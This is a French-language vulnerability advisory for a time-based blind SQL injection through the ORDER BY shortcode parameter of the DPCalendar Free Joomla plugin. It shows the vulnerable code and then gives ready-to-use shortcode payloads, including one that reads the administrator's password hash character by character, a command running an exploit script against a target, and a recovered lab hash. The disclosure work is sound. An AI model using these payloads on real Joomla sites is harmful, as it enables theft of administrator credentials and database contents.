
Injection SQL via le shortcode ORDER BY dans plg_content_dpcalendar — DPCalendar Free ≤ 10.11.2
DPCalendar Free ≤ 10.11.2 — Un utilisateur de niveau Auteur extrait l'intégralité de la base de données via une injection aveugle basée sur le temps
Le plugin de contenu plg_content_dpcalendar analyse les shortcodes {{#events order="..."}}{{/events}} intégrés dans le corps des articles Joomla. La valeur du paramètre order est transmise directement à , contournant complètement la liste blanche de du modèle. La valeur est ensuite insérée dans une clause SQL protégée uniquement par — insuffisante contre l'injection par sous-requête.
EventsModel::setState('list.ordering', ...)populateState()ORDER BYDatabaseDriver::escape()Un utilisateur de niveau Auteur pouvant créer ou modifier des articles peut exploiter cette faille pour exfiltrer des données de la base de données via une injection SQL aveugle basée sur le temps. L'injection SQL se déclenche dans la requête d'enregistrement de l'article de l'attaquant lui-même — aucune interaction de victime, aucun article publié et aucune implication d'un administrateur requis.
| COMPOSANT | VULNÉRABLE | TESTÉ SUR | CORRIGÉ |
|---|---|---|---|
| DPCalendar Free | 1.0.0 – 10.11.2 | Joomla 6.1.2 + DPCalendar 10.11.2 (MariaDB 10.6.27) | 10.12.0 |
Remarque : Cette vulnérabilité est distincte de CVE-2026-57831 (injection SQL non authentifiée dans
EventsModel.phpviafilter_created_by, corrigée en v10.11.2). La présente découverte affecte le plugin de contenu (plg_content_dpcalendar) — un fichier différent, un paramètre différent, et n'était pas corrigée dans la dernière version au moment de la découverte.
Type : Injection SQL (CWE-89) — Aveugle basée sur le temps
Authentification requise : Rôle Auteur (peut créer/modifier des articles Joomla)
Point d'accès : POST /index.php/submit-article?view=form&layout=edit
Fichier : plg_content_dpcalendar/src/Extension/DPCalendar.php
L'analyseur de shortcodes du plugin itère sur toutes les paires clé-valeur d'une balise {{#events}} et définit l'état du modèle directement, contournant entièrement la validation de la liste blanche de populateState() :
PLG_CONTENT_DPCALENDAR/SRC/EXTENSION/DPCALENDAR.PHP — GESTION VULNÉRABLE DES PARAMÈTRES
foreach ($params as $paramKey => $paramValue) {
switch ($paramKey) {
case 'order':
// VULNÉRABLE : définit l'état d'ordonnancement directement depuis l'entrée utilisateur
// contourne entièrement la liste blanche de populateState()
$model->setState('list.ordering', $paramValue);
break;
case 'orderdir':
$model->setState('list.direction', $paramValue);
break;
// ...
}
}
La valeur contaminée circule dans EventsModel::getListQuery() avec seulement un échappement des guillemets appliqué — insuffisant pour bloquer l'injection par sous-requête dans un contexte ORDER BY :
COMPONENTS/COM_DPCALENDAR/SRC/MODEL/EVENTSMODEL.PHP:607 — CONSTRUCTION DU ORDER BY
$orderCol = $this->state->get('list.ordering', 'a.start_date');
$orderDirn = $this->state->get('list.direction', 'ASC');
// $db->escape() échappe uniquement les guillemets — n'empêche PAS l'injection par sous-requête
$query->order($db->escape($orderCol) . ' ' . $db->escape($orderDirn));
Une sous-requête telle que (SELECT IF(ASCII(SUBSTRING(...))=36,SLEEP(5),0)) traverse $db->escape() sans modification car elle ne contient aucun caractère de guillemet. Le SQL résultant devient :
ORDER BY (SELECT IF(ASCII(SUBSTRING((SELECT password FROM jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))--
L'expression ORDER BY n'est évaluée que lorsque le jeu de résultats n'est pas vide — nécessitant au moins un événement DPCalendar futur publié, la condition standard pour toute installation DPCalendar active.
Comportement clé : L'injection SQL se déclenche dans la requête POST d'enregistrement/modification elle-même — le délai temporel est directement observable dans la réponse HTTP (redirection 303). L'attaquant mesure le temps de réponse de sa propre requête POST ; aucune consultation d'article, rechargement de page ou étape de publication n'est requis.
Prérequis :
plg_content_dpcalendar activé (par défaut lors de l'installation de DPCalendar)start_date futureScénario : Injection SQL aveugle basée sur le temps → Extraction des identifiants administrateur
Le plugin définit filter.state = 1 et list.start-date = NOW() avant de construire la requête. Les sous-requêtes ORDER BY ne s'exécutent que lorsque le jeu de résultats contient des lignes ; si 0 ligne correspond, SLEEP() n'est jamais appelé.

Authentifiez-vous sur le frontend Joomla avec un compte Auteur. Aucun accès administrateur n'est requis à aucun moment de cette attaque.

Naviguez vers le formulaire frontal de soumission d'article (/submit-article). Insérez la charge utile suivante dans le corps de l'article et cliquez sur Enregistrer :
{{#events order="(SELECT IF(1=1,SLEEP(5),0))-- " limit="1"}}{{/events}}
La réponse POST elle-même est retardée d'environ 5 secondes. onContentPrepare se déclenche pendant le pipeline d'enregistrement de Joomla, invoquant la requête vulnérable avant que la redirection 303 ne soit émise. Aucune consultation d'article ni publication n'est nécessaire.

Remplacez 1=1 par 1=2 (toujours faux). SLEEP n'est pas déclenché et la réponse revient immédiatement (~100 ms), confirmant une séparation temporelle fiable.
{{#events order="(SELECT IF(1=2,SLEEP(5),0))-- " limit="1"}}{{/events}}

Utilisez des comparaisons ASCII(SUBSTRING(...)) pour lire chaque caractère. Les guillemets simples doivent être évités (l'expression régulière du shortcode [^"\']* s'arrête à tout caractère de guillemet) ; utilisez plutôt des valeurs ASCII décimales :
{{#events order="(SELECT IF(ASCII(SUBSTRING((SELECT password FROM joomla.jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))-- " limit="1"}}{{/events}}
Temps de réponse ~5 s → VRAI → char[1] = '$' (ASCII 36 — premier caractère d'un hash bcrypt $2y$10$...).

Exécutez exploit/exploit.py pour automatiser la boucle d'extraction octet par octet :
python3 exploit/exploit.py http://TARGET
Le script se connecte en tant qu'Auteur, soumet des charges utiles élaborées et extrait le nom d'utilisateur, l'e-mail et le hash bcrypt complet de 60 caractères du mot de passe. Résultat de laboratoire confirmé : admin / [email protected] / $2y$10$5hGoueEFCH1z3NXZT3aWj.RZQ7ebuRqe8xU/s56iZPidb2GX1NqoC.

| Condition | Temps de réponse |
|---|---|
VRAI : ASCII(SUBSTR(password,1,1))=36 | ~5 000 ms |
FAUX : ASCII(SUBSTR(password,1,1))=65 | ~100 ms |
jos_users.password), les jetons de session et les e-mails des utilisateurs, via une injection SQL aveugle basée sur le temps.